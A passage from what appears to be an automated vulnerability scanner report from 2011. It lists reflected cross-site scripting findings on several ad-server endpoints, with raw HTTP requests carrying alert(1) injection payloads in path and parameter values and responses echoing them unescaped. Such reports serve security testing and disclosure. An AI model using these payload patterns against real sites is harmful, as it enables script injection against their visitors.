Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:14 GMT
Connection: close
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:34:14 GMT
Content-Length: 950

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.slashgear632cc'-alert(1)-'15cfcf94192/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ
...[SNIP]...

4.20. http://a.collective-media.net/adj/ns.slashgear/general [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.slashgear/general

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload deea5'-alert(1)-'f23de541341 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.slashgear/generaldeea5'-alert(1)-'f23de541341;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:17 GMT
Connection: close
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:34:17 GMT
Content-Length: 950

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.slashgear/generaldeea5'-alert(1)-'f23de541341;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb
...[SNIP]...

4.21. http://a.collective-media.net/adj/ns.slashgear/general [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.slashgear/general

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1608b'-alert(1)-'2318f0b3e1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.slashgear/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253?&1608b'-alert(1)-'2318f0b3e1a=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:07 GMT
Connection: close
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:34:07 GMT
Content-Length: 954

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
MjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253?&1608b'-alert(1)-'2318f0b3e1a=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.22. http://a.collective-media.net/adj/ns.slashgear/general [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.slashgear/general

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62ff5'-alert(1)-'fb180e95c54 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.slashgear/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253?62ff5'-alert(1)-'fb180e95c54 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:33:32 GMT
Connection: close
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:33:32 GMT
Content-Length: 951

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
wMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253?62ff5'-alert(1)-'fb180e95c54;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.23. http://a.collective-media.net/adj/q1.philly/news [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/q1.philly/news

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a4fe'-alert(1)-'d04fa8fb066 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/q1.philly1a4fe'-alert(1)-'d04fa8fb066/news;sz=300x600;click0=;ord=[timestamp]? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 443
Date: Tue, 10 May 2011 13:12:04 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:12:04 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/q1.philly1a4fe'-alert(1)-'d04fa8fb066/news;sz=300x600;net=q1;ord=[timestamp];'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.24. http://a.collective-media.net/adj/q1.philly/news [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/q1.philly/news

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db2fd'-alert(1)-'2cf845b2eaf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/q1.philly/newsdb2fd'-alert(1)-'2cf845b2eaf;sz=300x600;click0=;ord=[timestamp]? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 443
Date: Tue, 10 May 2011 13:12:04 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:12:04 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/q1.philly/newsdb2fd'-alert(1)-'2cf845b2eaf;sz=300x600;net=q1;ord=[timestamp];'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.25. http://a.collective-media.net/adj/q1.philly/news [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/q1.philly/news

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2759'-alert(1)-'b82ad2e7b8a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/q1.philly/news;sz=300x600;click0=;ord=[timestamp]?&a2759'-alert(1)-'b82ad2e7b8a=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 447
Date: Tue, 10 May 2011 13:12:02 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:12:02 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/q1.philly/news;sz=300x600;net=q1;ord=[timestamp]?&a2759'-alert(1)-'b82ad2e7b8a=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.26. http://a.collective-media.net/adj/q1.philly/news [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/q1.philly/news

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 49fd3'-alert(1)-'bb8c0ffea4 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/q1.philly/news;sz=300x600;click0=;ord=[timestamp]?49fd3'-alert(1)-'bb8c0ffea4 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 443
Date: Tue, 10 May 2011 13:11:53 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:11:53 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/q1.philly/news;sz=300x600;net=q1;ord=[timestamp]?49fd3'-alert(1)-'bb8c0ffea4;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.27. http://a.collective-media.net/cmadj/idgt.slashgear/article_above [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/idgt.slashgear/article_above

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ab13'-alert(1)-'26d95cab4f8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj6ab13'-alert(1)-'26d95cab4f8/idgt.slashgear/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648;env=ifr;ord1=16658;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:36:27 GMT
Connection: close
Content-Length: 8137

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-73310115_1305034587","http://ad.doubleclick.net/adj6ab13'-alert(1)-'26d95cab4f8/idgt.slashgear/article_above;net=idgt;u=,idgt-73310115_1305034587,11f8f328940989e,gadgets,am.h-am.b-idgt.careers_l-idgt.gadgets_h-bz.25-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_
...[SNIP]...

4.28. http://a.collective-media.net/cmadj/idgt.slashgear/article_above [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/idgt.slashgear/article_above

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29249'-alert(1)-'3aa29f3287c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/idgt.slashgear29249'-alert(1)-'3aa29f3287c/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648;env=ifr;ord1=16658;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:36:31 GMT
Connection: close
Content-Length: 8129

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-55280407_1305034591","http://ad.doubleclick.net/adj/idgt.slashgear29249'-alert(1)-'3aa29f3287c/article_above;net=idgt;u=,idgt-55280407_1305034591,11f8f328940989e,gadgets,am.h-am.b-idgt.careers_l-idgt.gadgets_h-bz.25-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm
...[SNIP]...

4.29. http://a.collective-media.net/cmadj/idgt.slashgear/article_above [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/idgt.slashgear/article_above

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 23043'-alert(1)-'d52c1947d03 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/idgt.slashgear/article_above23043'-alert(1)-'d52c1947d03;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648;env=ifr;ord1=16658;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:36:34 GMT
Connection: close
Content-Length: 8129

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-43379423_1305034594","http://ad.doubleclick.net/adj/idgt.slashgear/article_above23043'-alert(1)-'d52c1947d03;net=idgt;u=,idgt-43379423_1305034594,11f8f328940989e,gadgets,am.h-am.b-idgt.careers_l-idgt.gadgets_h-bz.25-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;;sec
...[SNIP]...

4.30. http://a.collective-media.net/cmadj/idgt.slashgear/article_above [sec parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/idgt.slashgear/article_above

Issue detail

The value of the sec request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ca6d'-alert(1)-'f7490aa7e07 was submitted in the sec parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/idgt.slashgear/article_above;sec=4ca6d'-alert(1)-'f7490aa7e07 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:41 GMT
Connection: close
Content-Length: 8008

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
